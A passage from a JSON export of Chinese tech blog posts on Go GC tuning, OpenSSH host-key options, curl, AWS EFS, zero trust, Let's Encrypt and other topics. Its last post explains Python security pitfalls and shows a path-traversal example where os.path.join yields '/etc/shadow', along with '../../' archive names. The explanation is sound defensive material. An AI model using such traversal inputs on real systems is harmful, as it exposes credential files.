    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://eng.uber.com/how-we-saved-70k-cores-across-30-mission-critical-services/\">How We Saved 70K Cores Across 30 Mission-Critical Services (Large-Scale, Semi-Automated Go GC Tuning @Uber)</a>」這篇，講 <a href=\"https://www.uber.com/\">Uber</a> 的人怎麼調整 <a href=\"https://go.dev/\">Golang</a> 的 <a href=\"https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)\">GC</a>，在 Hacker News 上的討論「<a href=\"https://news.ycombinator.com/item?id=29902825\">Large-scale, semi-automated Go GC tuning (uber.com)</a>」也有些東西再講。\r\n\r\n一開始的方法是動態一直調整 <code>GOGC</code> 的值：\r\n\r\n<blockquote>Our initial approach was to have a ticker to run every second to monitor the heap metrics, and then adjust GOGC value accordingly.</blockquote>\r\n\r\n但這個方法的 overhead 太重：\r\n\r\n<blockquote>The disadvantage of this approach is that the overhead starts to become considerable, because in order to read heap metrics Go needs to do a STW (ReadMemStats) and it is somewhat inaccurate, because we can have more than one garbage collection per second.</blockquote>\r\n\r\n後來的方法是利用 <code>SetFinalizer</code> 來做 (然後這段 code 不知道為什麼是用圖片...)：\r\n\r\n<blockquote>Luckily we were able to find a good alternative. Go has finalizers (SetFinalizer), which are functions that run when the object is going to be garbage collected. They are mainly useful for cleaning memory in C code or some other resources. We were able to employ a self-referencing finalizer that resets itself on every GC invocation. This allows us to reduce any CPU overhead.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iBf93gs.webp\" /><img src=\"https://i.gslin.com/imgur/iBf93gs.png\" alt=\"\" /></picture>\r\n\r\n不過 Hacker News 上有些人也很驚訝於 30 個 service 用掉 70K cores 這件事情，以 Uber 的服務來說算是比預想多不少數字，而且這只是跑 Golang，而且這次省下來的部份...\r\n\r\n另外在 Hacker News 上也有人提到 Golang 有在思考 soft memory limit 的設計，也值得看一看：「<a href=\"https://github.com/golang/go/issues/48409\">runtime/debug: soft memory limit #48409</a>」、「<a href=\"https://github.com/golang/proposal/blob/master/design/48409-soft-memory-limit.md\">Proposal: Soft memory limit</a>」。",
    "title": "Uber 對 Golang GC 的調整"
  },
  {
    "id": "10505",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=29862588\">Show HN: API to query catalogs of 20 streaming services across 60 countries (movieofthenight.com)</a>」這個，但這個服務反而不是重點，有許多人發現裡面錯誤率頗高，而且也沒有台灣的資料，反倒是裡面有人提到 <a href=\"https://www.justwatch.com/\">JustWatch</a> 這個服務看起來比較好用...\r\n\r\n像是「<a href=\"https://www.justwatch.com/tw/%E7%AF%80%E7%9B%AE/lao-you-ji\">Friends</a>」(這邊用的是中國的翻譯片名) 可以看到在台灣是在 <a href=\"https://www.netflix.com/\">Netflix</a> 上，美國的話則是在 <a href=\"https://www.hbomax.com/\">HBO Max</a> (串流) 與 <a href=\"https://www.apple.com/tv/\">Apple TV</a> (購買) 上可以看到。不過查 <a href=\"https://en.wikipedia.org/wiki/MythBusters\">MythBusters</a> 在兩個平台上都沒看到資料...\r\n\r\n但整體上來說 JustWatch 搜出來的品質還是好不少...",
    "title": "搜尋影片的串流平台"
  },
  {
    "id": "10506",
    "body": "<a href=\"https://www.openssh.com/\">OpenSSH</a> 在連到新的 host 時會跳出 key fingerprint 的資訊讓使用者確認，有時候為了自動化會用 <code>StrictHostKeyChecking=no</code> 避開，在 <a href=\"https://lobsters-daily.reight.io/\">Lobsters Daily</a> 上則看到了新的選項可以用，<code>StrictHostKeyChecking=accept-new</code>：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Reading manuals is extremely helpful. <br><br>I discovered the &quot;accept-new&quot; option for ssh strict host key checking and now I can delete my buggy code for manually populating known_hosts. ?<br><br>Does exactly what it says. If the host key not in known_hosts, add it. Fail otherwise. <a href=\"https://t.co/9xsbsMcpur\">pic.twitter.com/9xsbsMcpur</a></p>&mdash; Anton Medvedev (@antonmedv) <a href=\"https://twitter.com/antonmedv/status/1480978991309807616?ref_src=twsrc%5Etfw\">January 11, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n就如同選項的名字所描述的，查了一下 <a href=\"https://www.openssh.com/releasenotes.html\">OpenSSH Release Notes</a> 可以看到這是在 OpenSSH 7.5 導入的參數，是在 March 20, 2017 引入的：\r\n\r\n<blockquote>* ssh(1): expand the StrictHostKeyChecking option with two new settings. The first \"accept-new\" will automatically accept hitherto-unseen keys but will refuse connections for changed or invalid hostkeys. This is a safer subset of the current behaviour of StrictHostKeyChecking=no. The second setting \"off\", is a synonym for the current behaviour of StrictHostKeyChecking=no: accept new host keys, and continue connection for hosts with incorrect hostkeys. A future release will change the meaning of StrictHostKeyChecking=no to the behaviour of \"accept-new\". bz#2400</blockquote>\r\n\r\n對於一些自動化的流程應該夠用了，不需要到用 <code>no</code> 完全關掉。\r\n\r\n翻了「<a href=\"https://packages.ubuntu.com/search?keywords=openssh-client\">Ubuntu – Package Search Results -- openssh-client</a>」可以看到 18.04 之後都是 7.5 之後的版本了，支援度應該是沒什麼太大問題...",
    "title": "SSH 的 StrictHostKeyChecking=accept-new"
  },
  {
    "id": "10507",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到這個小遊戲：「<a href=\"https://news.ycombinator.com/item?id=29921419\">Show HN: Looptap – A minimal game to waste your time (vasanthv.com)</a>」，如同他的標題寫的，浪費時間的小遊戲 XDDD\r\n\r\n標題講的 QTE 是「<a href=\"https://zh.wikipedia.org/wiki/%E5%BF%AB%E9%80%9F%E5%8F%8D%E5%BA%94%E4%BA%8B%E4%BB%B6\">快速反應事件</a>」這個東西，在現在的遊戲裡面算是蠻常見的機制，是一種需要在事件有效區間反應的設計 (太早反應或是太晚反應都不行)。",
    "title": "QTE 小遊戲 Looptap"
  },
  {
    "id": "10510",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的消息，<a href=\"https://en.wikipedia.org/wiki/Nginx\">nginx</a> 的發明人 <a href=\"https://en.wikipedia.org/wiki/Igor_Sysoev\">Igor Sysoev</a> 離開 <a href=\"https://www.f5.com/\">F5</a>：「<a href=\"https://www.nginx.com/blog/do-svidaniya-igor-thank-you-for-nginx/\">Do Svidaniya, Igor, and Thank You for NGINX</a>」。\r\n\r\n官方的理由是家庭與朋友，另外有其他的個人計畫：\r\n\r\n<blockquote>With profound appreciation and gratitude, we announce today that Igor Sysoev – author of NGINX and co‑founder of NGINX, Inc. – has chosen to step back from NGINX and F5 in order to spend more time with his friends and family and to pursue personal projects.</blockquote>\r\n\r\n在 Hacker News 上的討論「<a href=\"https://news.ycombinator.com/item?id=29985871\">Do svidaniya, Igor, and thank you for Nginx (nginx.com)</a>」也可以翻一下，不過看起來都是在歌功頌德...\r\n\r\n2019 年三月 NGINX, Inc. 賣給了 F5，到現在快三年了。以官方的文章看起來應該是和平分手，翻了 <a href=\"https://twitter.com/\">Twitter</a> 帳號發現也很久都沒更新了，比較好奇的是後續的計畫會是什麼...",
    "title": "Igor Sysoev (nginx 的作者) 離開 F5"
  },
  {
    "id": "10512",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://zonble.net/\">zonble</a> 的推文：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"ja\" dir=\"ltr\">小麥注音 2.0 版 <a href=\"https://t.co/hHpDz6Ud7D\">https://t.co/hHpDz6Ud7D</a></p>&mdash; zonble ? ゾンビル (@zonble) <a href=\"https://twitter.com/zonble/status/1483861505200500742?ref_src=twsrc%5Etfw\">January 19, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n整串可以看「<a href=\"https://threadreaderapp.com/thread/1483861505200500742.html\">Thread by @zonble on Thread Reader App</a>」這邊，在 <a href=\"https://github.com/\">GitHub</a> 上面的 release note 也可以參考：「<a href=\"https://github.com/openvanilla/McBopomofo/releases/tag/2.0\">Release 2.0 · openvanilla/McBopomofo</a>」，不過要注意如果要下載的話，記得抓 bugfix 後的版本：「<a href=\"https://github.com/openvanilla/McBopomofo/releases/tag/2.0.1\">Release 2.0.1 · openvanilla/McBopomofo</a>」。\r\n\r\n對我來說最大的進步就是詞庫這塊了，可以直接加進去學習方便不少...",
    "title": "Mac 上的小麥輸入法大改版 (2.0，不過目前已經又出 2.0.1 了)"
  },
  {
    "id": "10513",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Daniel_Stenberg\">Daniel Stenberg</a> 在 <a href=\"https://curl.se/\">curl</a> 的 mailing list 上宣佈要支援 <a href=\"https://en.wikipedia.org/wiki/JSON\">JSON</a> 格式：「<a href=\"https://curl.se/mail/archive-2022-01/0043.html\">JSON support</a>」，用法在「<a href=\"https://github.com/curl/curl/wiki/JSON\">JSON awareness in the curl tool</a>」在這邊可以看到，另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=30011382\">The time might come when we add some JSON specific command line options (curl.se)</a>」也可以翻翻。\r\n\r\n討論裡面馬上有提到 <a href=\"https://httpie.io/\">HTTPie</a>，這個套件基本上也算是標配了 (而且在各大 distribution 的 package 都有內建，直接裝就可以了)，可以看到主要是處理 <code>POST</code> 輸入時的 JSON 部份 (在 <code>Content-Type: application/json</code> 的情境下)，HTTP response 輸出的部份一般都還是用 <a href=\"https://stedolan.github.io/jq/\">jq</a> 處理。\r\n\r\n不過 curl 自己又定義了一套指定 JSON 內容的方式...",
    "title": "curl 的 command line 工具也要支援 JSON 格式了"
  },
  {
    "id": "10514",
    "body": "<a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a> 在官方 blog 上宣佈 <a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 提供 replication 功能：「<a href=\"https://aws.amazon.com/blogs/aws/new-replication-for-amazon-elastic-file-system-efs/\">New – Replication for Amazon Elastic File System (EFS)</a>」。\r\n\r\n可以看到跨區的設定畫面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oFgXJVx.webp\" /><img src=\"https://i.gslin.com/imgur/oFgXJVx.png\" alt=\"\" /></picture>\r\n\r\n在建起來以後會是 read-only filesystem：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fCa7L7A.webp\" /><img src=\"https://i.gslin.com/imgur/fCa7L7A.png\" alt=\"\" /></picture>\r\n\r\n另外有提供 fail-over 機制，當 fail-over 過去後會從 read-only 變成 read-write。\r\n\r\n不過要注意，架構上屬於 eventually consistent，預期是一分鐘內會更新。這點算是可以預期的，不然 latency 會太高：\r\n\r\n<blockquote>All replication traffic stays on the AWS global backbone, and most changes are replicated within a minute, with an overall Recovery Point Objective (RPO) of 15 minutes for most file systems.</blockquote>\r\n\r\n然後 replication 不會計算到 I/O 的 credit 與 throughput，算是比較特別的一點：\r\n\r\n<blockquote>Replication does not consume any burst credits and it does not count against the provisioned throughput of the file system.</blockquote>\r\n\r\nreplication 這個服務本身不另外收費，只收取 EFS 使用的空間以及 replication 產生的頻寬費用：\r\n\r\n<blockquote>You pay the usual storage fees for the original and replica file systems and any applicable cross-region or intra-region data transfer charges.</blockquote>",
    "title": "Amazon EFS 提供 Replication 功能"
  },
  {
    "id": "10515",
    "body": "看到美國總統行政辦公室發佈的「<a href=\"https://www.whitehouse.gov/wp-content/uploads/2022/01/M-22-09.pdf\">Moving the U.S. Government Toward Zero Trust Cybersecurity Principles</a>」這個備忘錄，在講 <a href=\"https://en.wikipedia.org/wiki/Zero_trust_security_model\">Zero trust security model</a>，算是讓其他聯邦單位可以依循的指引，從比較高的角度來說明聯邦政府對系統安全設計的方向。\r\n\r\n裡面有提到「Phishing-resistant MFA」，一般的 MFA 無法防止 phishing (像是軟體 <a href=\"https://en.wikipedia.org/wiki/Time-based_one-time_password\">TOTP</a> 類的 <a href=\"https://en.wikipedia.org/wiki/Google_Authenticator\">Google Authenticator</a> 或是硬體式 TOTP 的 <a href=\"https://en.wikipedia.org/wiki/RSA_SecurID\">RSA SecurID</a>，或是透過簡訊輸入收到的字串那種)，要能夠對抗 phishing 的應該只有 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a> 或是後續的 <a href=\"https://en.wikipedia.org/wiki/WebAuthn\">WebAuthn</a> 這種有把網站位置也放進 protocol 的協定。\r\n\r\n另外提到了 <a href=\"https://en.wikipedia.org/wiki/Role-based_access_control\">RBAC</a> 與 <a href=\"https://en.wikipedia.org/wiki/Attribute-based_access_control\">ABAC</a> 兩種設計，而且更偏好用 ABAC 得到更多彈性：\r\n\r\n<blockquote>Currently, many authorization models in the Federal Government focus on role-based access control (RBAC), which relies on static pre-defined roles that are assigned to users and determine their permissions within an organization. A zero trust architecture should incorporate more granularly and dynamically defined permissions, as attribute-based access control (ABAC) is designed to do. </blockquote>\r\n\r\n另外因為 zero trust 的設計，內部網路其實只能當作是一個傳輸媒介，不能當作是一個安全的傳輸層，任何的傳輸都需要有另外的驗證機制確保 <a href=\"https://en.wikipedia.org/wiki/CIA_triad\">CIA</a>，所以從 DNS 的流量必須是透過 <a href=\"https://en.wikipedia.org/wiki/DNS_over_HTTPS\">DNS over HTTPS</a> 或是 <a href=\"https://en.wikipedia.org/wiki/DNS_over_TLS\">DNS over TLS</a> 的保護：\r\n\r\n<blockquote>Agencies must resolve DNS queries using encrypted DNS wherever it is technically supported. This means that agency DNS resolvers must support standard encrypted DNS protocols (DNS-over-HTTPS or DNS-over-TLS), and must use them to communicate with upstream DNS resolvers.</blockquote>\r\n\r\n任何 HTTP 傳輸都需要使用 HTTPS 保護，甚至是把 <code>.gov</code> 直接放進 HTTPS-only 清單 (應該是指 HSTS preload？)：\r\n\r\n<blockquote>More generally, the .gov top-level domain has announced an intent to eventually preload the entirety of the .gov domain space as an HTTPS-only zone.</blockquote>\r\n\r\n不過裡面也有提到 email 的 encryption 到目前為止沒有好的方法可以確保 encryption 的使用，尤其是跟外部的人溝通：\r\n\r\n<blockquote>Unlike HTTP and DNS, there is not today a clear path forward for guaranteeing that Federal emails are encrypted in transit, particularly for emails with external parties.</blockquote>\r\n\r\n然後提到安全漏洞的測試與回報機制也蠻有趣的，像是鼓勵外部測試：\r\n\r\n<blockquote>In addition to their own testing programs, agencies must increase their reliance on external perspectives to identify vulnerabilities that internal staff may not identify</blockquote>\r\n\r\n以及鼓勵安全回報的制度：\r\n\r\n<blockquote>Public vulnerability disclosure programs, which allow security researchers and other members of the general public to report security issues safely, are used widely across the Federal Government and many private-sector industries. These programs are an invaluable accompaniment to existing internal security programs and operate as a reality check on an organization’s online security posture.</blockquote>\r\n\r\n拿來翻一翻讀一讀...",
    "title": "美國聯邦政府推動的 Zero Trust 架構"
  },
  {
    "id": "10517",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=30083042\">Playwright: Automate Chromium, WebKit and Firefox (github.com/microsoft)</a>」這個專案：\r\n\r\n<blockquote>Playwright is a framework for Web Testing and Automation. It allows testing Chromium, Firefox and WebKit with a single API.</blockquote>\r\n\r\n用程式操作瀏覽器的工具，可以用來寫自動化或是其他用途，類似的專案有 <a href=\"https://pptr.dev/\">Puppeteer</a>、<a href=\"https://www.cypress.io/\">Cypress</a> 以及歷史悠久的 <a href=\"https://www.selenium.dev/\">Selenium</a>。\r\n\r\n不過重點是在 Hacker News 上的八卦討論，像是這個留言在講 Puppeteer 整個團隊跳去微軟弄出了 Playwright：\r\n\r\n<blockquote>Interesting tidbit:\r\n\r\nOne of the main contributors of this project[0], was the core contributor (creator?) of Puppeteer[1], but then I guess left Google to join Microsoft and work on this[2][3].</blockquote>\r\n\r\n然後 <a href=\"https://www.google.com/\">Google</a> 內接手 Puppeteer 的人跳出來解釋目前新團隊的情況：\r\n\r\n<blockquote>I manage the team at Google that currently owns the Puppeteer project.\r\n\r\nThe previous team that developed Puppeteer indeed moved to Microsoft and have since started Playwright.\r\n\r\nWhile it is true that staffing is tight (isn't it always), the number of open issues does not tell the full story. The team has been busy with addressing technical debt that we inherited (testing, architecture, migrating to Typescript, etc) as well as investing in a standardized foundation to allow Puppeteer to work cross-browser in the future. This differs from the Playwright team's approach of shipping patched browser binaries.</blockquote>\r\n\r\n當吃瓜群眾蹲在旁邊繼續看回應...",
    "title": "微軟的 Playwright 以及 Puppeteer 的八卦？"
  },
  {
    "id": "10518",
    "body": "看到「<a href=\"https://thehackernews.com/2022/01/german-court-rules-websites-embedding.html\">German Court Rules Websites Embedding Google Fonts Violates GDPR</a>」這篇，雖然不是最終判決，但總是個開始：\r\n\r\n<blockquote>A regional court in the German city of Munich has ordered a website operator to pay €100 in damages for transferring a user's personal data — i.e., IP address — to Google via the search giant's Fonts library without the individual's consent.</blockquote>\r\n\r\n因為 GDPR 內把 IP address 資訊視為 <a href=\"https://en.wikipedia.org/wiki/Personal_data\">PII</a>，所以看起來任何 3rd-party 的內嵌服務應該都會受到影響，來追起來看一下後續的發展好了...",
    "title": "德國的地方法院說使用 Google Fonts 服務沒有告知使用者違反 GDPR"
  },
  {
    "id": "10519",
    "body": "前幾天 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 決定撤銷大約兩百萬個以 <a href=\"https://datatracker.ietf.org/doc/html/rfc8737\">tls-alpn-01</a> 簽發的憑證：「<a href=\"https://community.letsencrypt.org/t/2022-01-25-issue-with-tls-alpn-01-validation-method/170450/2\">2022.01.25 Issue with TLS-ALPN-01 Validation Method</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=30082286\">Issue with TLS-ALPN-01 Validation Method (letsencrypt.org)</a>」也可以翻一下。\r\n\r\n這次主要是有兩個修改，第一個是要 TLSv1.2 以上，不支援舊版的 TLS 驗證：\r\n\r\n<blockquote>First, we now guarantee that our client which reaches out to conduct the “acme-tls/1” handshake will negotiate TLS version 1.2 or higher. If your ACME client or integration only supports a maximum TLS version of 1.1 when conducting the TLS-ALPN-01 challenge, it will break. We are not aware of any ACME clients with this limitation.</blockquote>\r\n\r\n另外一個是淘汰掉 legacy OID：\r\n\r\n<blockquote>Second, we no longer support the legacy 1.3.6.1.5.5.7.1.30.1 OID which was used to identify the acmeIdentifier extension in earlier drafts of RFC 8737. We now only accept the standardized OID 1.3.6.1.5.5.7.1.31. If your client uses the wrong OID when constructing the certificate used for the TLS-ALPN-01 handshake, it will break. Please either update your client, or switch to using a different validation method.</blockquote>\r\n\r\n目前還是以 http-01 與 dns-01 為主，暫時不用管，但如果有人用 tls-alpn-01 的稍微注意一下吧...",
    "title": "Let's Encrypt 撤銷了兩百萬個以 tls-alpn-01 驗證的憑證"
  },
  {
    "id": "10520",
    "body": "在「<a href=\"https://www.ghacks.net/2022/01/31/your-devices-gpu-may-be-used-for-fingerprinting-purposes/\">Your device's GPU may be used for fingerprinting purposes</a>」這邊看到有研究單位找出更多 GPU fingerprint 的技巧，論文在「<a href=\"https://arxiv.org/abs/2201.09956\">DRAWNAPART: A Device Identification Technique based on Remote GPU Fingerprinting</a>」這邊可以翻到，另外一些 source code 可以在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/drawnapart/drawnapart\">Drawn Apart</a>」這邊可以翻到。\r\n\r\n看起來是透過 <a href=\"https://en.wikipedia.org/wiki/WebGL\">WebGL</a> 去建立模型：\r\n\r\n<blockquote>The researchers ran experiments on 2500 unique devices using the technique. They developed two methods, both of which use the Web Graphics Library (WebGL), which is supported by all modern web browsers.</blockquote>\r\n\r\n接下來瀏覽器端應該會在研究後有更多反制機制被放進來...",
    "title": "更多瀏覽器內 GPU fingerprint 的技巧"
  },
  {
    "id": "10521",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://pypi.org/project/black/\">Black</a> 這個幫你處理 <a href=\"https://www.python.org/\">Python</a> 程式碼的工具：「<a href=\"https://news.ycombinator.com/item?id=30130315\">Black, the uncompromising Python code formatter, is stable (pypi.org)</a>」。\r\n\r\n<blockquote>Black is the uncompromising Python code formatter. By using it, you agree to cede control over minutiae of hand-formatting. In return, Black gives you speed, determinism, and freedom from pycodestyle nagging about formatting. You will save time and mental energy for more important matters.</blockquote>\r\n\r\n然後從 Hacker News 上討論的情況看起來大家都覺得很不錯？好像可以看看能不能拿來用...\r\n\r\n另外一個在討論的時候看到學到的東西，是 <code>git blame --ignore-revs-file</code> 這個功能，可以在 <code>git blame</code> 時濾掉某些 commit，剛好拿來過濾 reformatting commit：\r\n\r\n<blockquote>Ignore revisions listed in <code>file</code>, which must be in the same format as an <code>fsck.skipList</code>. This option may be repeated, and these files will be processed after any files specified with the <code>blame.ignoreRevsFile</code> config option. An empty file name, <code>\"\"</code>, will clear the list of revs from previously processed files.</blockquote>",
    "title": "Python 的 Black"
  },
  {
    "id": "10522",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://www.nytimes.com/2022/01/31/business/media/new-york-times-wordle.html\">The New York Times Buys Wordle</a>」這篇，紐約時報買下 <a href=\"https://en.wikipedia.org/wiki/Wordle\">Wordle</a>，<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=30154781\">The New York Times buys Wordle (nytimes.com)</a>」裡面有在討論商業模式之類的事情，另外因為紐約時報的報導放在 <a href=\"https://en.wikipedia.org/wiki/Paywall\">paywall</a> 裡面，所以另外提供 <a href=\"https://web.archive.org/\">Internet Archive</a> 的版本可以看：「<a href=\"https://web.archive.org/web/20220131213921/https://www.nytimes.com/2022/01/31/business/media/new-york-times-wordle.html\">The New York Times Buys Wordle</a>」。\r\n\r\n這邊就不介紹 Wordle 了，在中文版的維基百科上面有條目可以看說明：「<a href=\"https://zh.wikipedia.org/wiki/Wordle\">Wordle</a>」，玩過幾天後我就放掉了...\r\n\r\n紐約時報買 Wordle 的價錢沒有詳細透露，只有說大約是 million 等級的價錢：\r\n\r\n<blockquote>Wordle was purchased from its creator, Josh Wardle, a software engineer in Brooklyn, for a price “in the low seven figures,” The Times said. The company said the game would initially remain free to new and existing players.</blockquote>\r\n\r\n但後續的動作就不知道了，也許是整合 word puzzle，也許是藉此延伸 social network？",
    "title": "紐約時報買 Wordle..."
  },
  {
    "id": "10523",
    "body": "<a href=\"https://mariadb.com/\">MariaDB Corporation Ab</a> 透過 <a href=\"https://en.wikipedia.org/wiki/Special-purpose_acquisition_company\">SPAC</a> 上市：「<a href=\"https://mariadb.com/newsroom/press-releases/mariadb-corporation-ab-to-become-a-publicly-traded-company-via-combination-with-angel-pond-holdings-corporation/\">MariaDB Corporation Ab to Become a Publicly Traded Company via Combination with Angel Pond Holdings Corporation</a>」。\r\n\r\n<blockquote>Upon closing of the transaction, the combined company will be named MariaDB plc and led by MariaDB’s CEO Michael Howard.</blockquote>\r\n\r\n<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上有一些對 <a href=\"https://mariadb.org/\">MariaDB</a> 的討論可以看一下 (是對軟體討論，不是對公司討論)：「<a href=\"https://news.ycombinator.com/item?id=30163983\">MariaDB to go public at $672M valuation (mariadb.com)</a>」。\r\n\r\n大多數用 MariaDB 的人其實都只是在用 <a href=\"https://dev.mysql.com/\">MySQL</a> 的功能，不常用到 MariaDB 的特殊功能，像是 <a href=\"https://en.wikipedia.org/wiki/Aria_(storage_engine)\">Aria</a> (MyISAM 的 crash-safe 版本) 還是沒有 transaction，而 <a href=\"https://en.wikipedia.org/wiki/InnoDB\">InnoDB</a> 的效能其實相當好，就找不太到理由去用 Aria...\r\n\r\n另外從 Google Trends 的 volume 也可以看出來趨勢是往下降而非向上爬升，這時候趕快脫手 (而且還是透過 SPAC) 看起來是最好的時機？",
    "title": "MariaDB Corporation Ab 透過 SPAC 上市"
  },
  {
    "id": "10524",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 放出 2021 年的硬碟統計數據了：「<a href=\"https://www.backblaze.com/blog/backblaze-drive-stats-for-2021/\">Backblaze Drive Stats for 2021</a>」。\r\n\r\n最後一張圖是 Backblaze 機房內還活著的硬碟資訊，大概是整篇裡面最有用的 (而且有 <a href=\"https://en.wikipedia.org/wiki/Annualized_failure_rate\">AFR</a> 的信心區間)，先拉出來看：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/AKpwgV8.webp\" /><img src=\"https://i.gslin.com/imgur/AKpwgV8.png\" alt=\"\" /></picture>\r\n\r\n比較好奇的是還沒有導入 18TB 的硬碟...\r\n\r\n另外從上面依照廠牌分類的部份也可以看出個感覺，這時候如果再針對各廠牌的歷史記錄拉出圖的話就很殘酷了，要說 <a href=\"https://www.seagate.com/\">Seagate</a> 不愧是 Seagate 嗎 (大家的刻板印象好像也不刻板了，數字都對的上...)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FrSTtVz.webp\" /><img src=\"https://i.gslin.com/imgur/FrSTtVz.png\" alt=\"\" /></picture>\r\n\r\n如果就廠牌可以看出來 <a href=\"https://en.wikipedia.org/wiki/HGST\">HGST</a> 不論哪個型號，死亡率 (AFR) 都很低，而 <a href=\"https://www.toshiba-storage.com/\">Toshiba</a> 與 Seagate 則是很吃型號，有的型號 AFR 很高，但有的就蠻低的...\r\n\r\n另外裡面有提到一個比較有趣的現象，大顆硬碟的 AFR 反而比較低，目前猜測是新硬碟的關係，但時間要拉長才會看的比較明顯，不確定是不是有什麼技術發展出來 (過個幾年再回來看的意思)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/L9pcLWN.webp\" /><img src=\"https://i.gslin.com/imgur/L9pcLWN.png\" alt=\"\" /></picture>\r\n\r\n話說前陣子才送修一顆 Seagate 的硬碟回來 (還在保固內)，<a href=\"https://en.wikipedia.org/wiki/Shingled_magnetic_recording\">SMR</a> 的死亡率果然高不少...",
    "title": "Backblaze 的 2021 年硬碟死亡報告"
  },
  {
    "id": "10525",
    "body": "前幾天看到「<a href=\"https://blog.sonarsource.com/10-unknown-security-pitfalls-for-python\">10 Unknown Security Pitfalls for Python</a>」這篇，講 <a href=\"https://www.python.org/\">Python</a> ecosystem 裡面的一些設計造成的安全性問題，裡面很多東西都很有趣，而且有些算是共通的，其他程式語言也會中獎...\r\n\r\n第一個是開發者用 <code>assert()</code> 確認權限，但 <code>assert()</code> 的設計是 debug 用的功能，所以可以預期在 optimization 後會被拿掉 (其他程式語言也有類似的功能)，而導致權限沒被檢查而產生 security incident。\r\n\r\n第二個是 <code>os.makedirs()</code> 所指定的 <code>mode</code>，依照說明看起來是 Python 改變行為了，變成只有最終的那個目錄照著設定：\r\n\r\n<blockquote>In Python &lt; 3.6, the folders A, B and C are each created with permission 700. However, in Python &gt; 3.6, only the last folder C has permission 700 and the other folders A and B are created with the default permission 755.</blockquote>\r\n\r\n這個設計就有點討厭了，我測了一下 <code>umask 077</code> 的情況下在 shell 下執行 <code>mkdir a/b/c</code>，所有的目錄都會是 <code>700</code>。\r\n\r\n第三個是串檔名的 <code>os.path.join()</code>，遇到 <code>/</code> 開頭的部份會把前面的部份都拔掉，也就是這樣：(嗯... 這樣搞的嗎 XDDD)\r\n\r\n<pre>\r\n&gt;&gt;&gt; os.path.join('var', 'lib', 'tmp', 'abc.png')\r\n'var/lib/tmp/abc.png'\r\n&gt;&gt;&gt; os.path.join('var', 'lib', 'tmp', '/etc/shadow')\r\n'/etc/shadow'\r\n</pre>\r\n\r\n第四個就是蠻標準的 variable injection 了。\r\n\r\n第五個算是每次處理 <code>.zip</code> 檔都很頭痛的問題，不限於 Python，因為壓縮檔裡面可能會有 <code>../../</code> 開頭這種看起來就很邪惡的檔案名稱，只要有安全意識的工程師都覺得處理起來很麻煩的東西...\r\n\r\n第六個一看就是壞東西，想要用黑名單擋 injection 一定會有更多有創意的方法打進來。比較特別的是這邊有提到在 Python 裡 <code>re.search()</code> 與 <code>re.match()</code> 的差異，這點真的是寫起來有時後會忽略掉的...\r\n\r\n第七與第八個都是 <a href=\"https://en.wikipedia.org/wiki/Unicode\">Unicode</a> 相關的問題，也是個超級麻煩的東西，大原則是先 normalize 再 escape，但還是有點見招拆招去看...\r\n\r\n第九個也是類似的問題，沒有先 normalize 再確認，不過一般機器都會有 private ip address，還是可以試著打... 這個有機會用架構面去解決，像是用 MQ 架設 proxy service，隔出另外一區來跑；或是已經有 zero trust 的架構，內部網路也是要帶 token 跑來跑去，可以減少一些傷害...\r\n\r\n第十個算是 Python 自己的歷史因素，早期同時吃 <code>&amp;</code> 與 <code>;</code> 當作 separator，而非只吃 <code>&amp;</code> 的 <code>x-www-form-urlencoded</code> (HTML spec 內定義的標準)：\r\n\r\n<blockquote>In Python &lt; 3.7 the function urllib.parse.parse_qsl allows the use of the ; and & characters as separators for URL query variables.</blockquote>\r\n\r\n查了一下官方文件可以看到 3.10 之後才變成 <code>x-www-form-urlencoded</code>：\r\n\r\n<blockquote>Changed in version 3.10: Added separator parameter with the default value of &amp;. Python versions earlier than Python 3.10 allowed using both ; and & as query parameter separator. This has been changed to allow only a single separator key, with &amp; as the default separator.</blockquote>\r\n\r\n有些應該是有安全意識時會去翻 spec 看看就可以避開的，但有些就真的是蠻雷的 XDDD",
    "title": "一些不太容易注意到的 Python 安全性問題"
  },
  {
    "id": "10527",
